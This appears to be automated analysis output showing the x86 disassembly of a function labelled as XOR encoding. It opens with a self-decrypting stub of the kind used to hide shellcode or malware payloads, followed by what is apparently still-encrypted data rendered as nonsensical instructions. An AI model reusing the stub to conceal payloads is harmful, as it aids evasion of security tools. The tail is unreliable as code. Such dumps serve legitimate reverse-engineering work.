Function at 0xffb954
Capabilities:
Encode data using xor

Disassembly:
jmp 0xffb95e
pushal
call 0xffb964
pop ebp
sub ebp, 0x10
sub ebp, 0xbfb954
jmp 0xffb97a
mov eax, 0xbfb954
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b8
mov edx, 0x871a7689
xor byte [eax], dl
inc eax
dec ecx
jne 0xffb991
jmp 0xffb9a4
add al, byte [edx + eax]
mov ch, 0x89
mov dword [ecx - 0x768eb7f8], ecx
mov dword [ecx - 0x72cebb76], ecx
mov dword [ecx - 0x765ecc77], ecx
mov dword [ecx + 0x418a6b7e], ecx
inc ecx
add cl, byte [eax]
test dword [ecx + 0x4c8a8989], ecx
fld dword [ebp*8 - 0x72ff8a53]
lodsd eax, dword [esi]
loope 0xffb9c1
mov ebp, 0x64e189ab
or eax, 0xa5888914
lodsd eax, dword [esi]
loope 0xffb991
stosd dword es:[edi], eax
jmp 0xffba21
mov ecx, esp
or eax, 0xa5888914
lodsd eax, dword [esi]
add al, 0xed
lodsd eax, dword [esi]
jne 0xffba2f
test dword [ebp - 0x7676739f], ebp
mov dword [eax - 0x3e], esp
mov ecx, dword [ecx - 0x5212fb77]
lodsd eax, dword [esi]
jne 0xffba40
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
add ah, byte [ebp + 0x76]
cld
test dword [esi - 4], esi
and dword [ecx - 0xf], 0x2898989
xor al, 0x81
mov dword [ecx - 0x7ecbfd77], ecx
mov dword [ecx + 0x840ba89], ecx
jnp 0xffba9b
cmp dword es:[esi + 8], eax
jnp 0xffbaa1
cmp dword es:[esi - 0x46], eax
pop ebx
or ah, byte [ecx - 0x74]
rol dword [esi - 0x767638f3], 0x89
xchg byte [ecx], al
ror dword [ecx + 0x2ef8989], 0x95
mov al, 9
jb 0xffbadd
xchg byte [0x89898993], cl
or dword [edx + 0x60], esi
xchg byte [0x89898998], cl
out dx, eax
mov edi, ebp
or byte [edx + 0x76], dh
lodsb al, byte [esi]
xchg byte [0x8989899c], cl
enter 0x4560, 0x76
jbe 0xffbb12
inc ebp
jbe 0xffbb11
jbe 0xffba3d
mov al, byte [0xa88b0c5]
lds esi, [eax - 0x73b7f578]
or ah, byte [ecx - 0x73]
pushal
xor al, 0x76
jbe 0xffbb21
dec eax
mov word [edx], cs
popal
lea esp, [eax + 0x34]
jbe 0xffbb20
jbe 0xffba4c
mov al, byte [0xa8bb0dd]
dec eax
invalid
fnsave dword [eax - 0x70b7f575]
or ah, byte [ebx - 0x73]
or ah, byte [ecx - 0x74]
pushal
and dh, byte [esi + 0x76]
jbe 0xffbac0
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
add al, 0xed
lodsd eax, dword [esi]
lea ecx, [ebx - 0x7b]
mov esp, ebx
add ah, byte [ebp - 0x21]
invalid
mov dword [ecx], eax
mov cs, word [eax]
dec esi
mov byte [ecx - 0x74cd7677], cl
mov dword [ecx - 0x79a47477], ecx
or al, 0x8c
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
push ecx
jbe 0xffbb73
jbe 0xffba8a
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
jecxz 0xffba98
mov dword [ecx + 0x5b8b49ba], ecx
xchg byte [esp + ecx*4], cl
mov edx, 0x865b8b49
dec ecx
mov ebx, dword [ebx - 0x7a]
or al, 0x8c
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
mov dword [0x8b898988], eax
or ah, byte [ebx - 0x74767678]
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8989, 0x8f0d8649
mov dword [edx], eax
push esi
mov byte [0x18a0351], al
mov cs, esi
xor cl, byte [ebx + 0x60898989]
stc
jbe 0xffbbf0
mov dword [ecx + 0x76f96089], ecx
jbe 0xffbbf1
jbe 0xffbbad
xor dword [eax - 0x74767677], ecx
pop ebx
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xffbc17
jbe 0xffbb45
dec edx
xor cl, byte [eax - 0x79767677]
or al, 0xbd
mov dword [ecx - 0x7677cf77], ecx
mov dword [ecx + 0xc865b8b], ecx
mov word [ecx - 0x60fc7677], cs
iretd
mov ebp, 0x30898989
mov byte [ecx + 0x5b8b8989], cl
mov dword [ecx - 0x767677d0], ecx
mov dword [ebx - 0x73f379a5], ecx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xffbc4b
jbe 0xffbbb6
add bh, byte [esi - 0x5e]
jl 0xffbc56
sub eax, 0x768160d7
jbe 0xffbc59
ror dword [eax + 0x69], 0x81
add ecx, dword [edi + 0x306102cf]
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
mov dword [ebx - 0x73f379a5], ecx
mov ebx, dword [ebx - 0x7a]
or al, 0x8c
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xffbc88
jbe 0xffbc1c
jno 0xffbb9f
hlt
mov dword [ecx + 0x76765008], ecx
jbe 0xffbc95
jbe 0xffbc94
jbe 0xffbc28
or byte [ecx - 0x77], dh
jno 0xffbbab
mov word [ecx + 0x76500889], cs
jbe 0xffbca0
jbe 0xffbc34
jno 0xffbc37
mov dword [ecx - 0x76a7f777], ecx
mov dword [ecx + 0x9710889], ecx
or byte [ecx + 9], dh
mov dword [ecx - 0x76a7f777], ecx
mov dword [ecx + 0x7e02df89], ecx
mov byte [0xd72d7a79], al
pushal
adc dh, byte [edi + 0x76]
ja 0xffbcc5
jbe 0xffbc54
invalid
inc eax
dec ecx
popal
mov byte [esi - 0x76766cf3], al
mov dword [eax], ecx
pop eax
mov ecx, dword [ecx + 0x61028989]
fild word [edx]
jle 0xffbc0c
or eax, 0x89898993
or byte [eax - 0x75], bl
mov dword [ecx - 0x209efd77], ecx
add bh, byte [esi - 0x5e]
jns 0xffbce6
sub eax, 0x898832d7
mov dword [ecx + 0x7677fa60], ecx
jbe 0xffbc4d
mov byte [0x4e0281f4], al
salc
xlatb
add ch, byte [esp + edx*8 + 0x4b]
or dword [ecx + 0x4adb502], 0x28daded
lodsd eax, dword [esi]
add al, 0xed
lodsd eax, dword [esi]
lea eax, [edx]
mov ebp, 0xaded04ad
lea esp, [eax - 0x73]
mov dword [ecx - 0x1ac15e77], ecx
adc dword [ecx], esi
fnsave dword [eax]
pushal
lea ecx, [ecx + 0x3ea18989]
in eax, 0x11
xor ebp, ebx
xor byte [esi], dh
mov dword [edx - 0x19b6f7b4], ecx
mov dword ss:[edx - 0x19b6f7b4], ecx
mov cl, byte [ecx - 0x74e3cf77]
mov dword [ecx - 0x7b970cd], ecx
xchg edi, eax
mov ecx, 0x86c0c999
or al, 0x7f
jbe 0xffbd33
jbe 0xffbd1f
lea ecx, [ecx + 0x38428989]
push edi
xchg byte [eax], cl
jno 0xffbcce
int1
mov bl, 4
xor edi, dword [eax - 0x707070d1]
mov eax, 0x8f8f8f2f
invalid
cmc
invalid
or byte [esi], 0x77
mov word [edi + 0xa808f8f], cs
or byte [edi + 0x4e98f8f], 0x88
push cs
outsd dx, dword [esi]
jo 0xffbcb3
invalid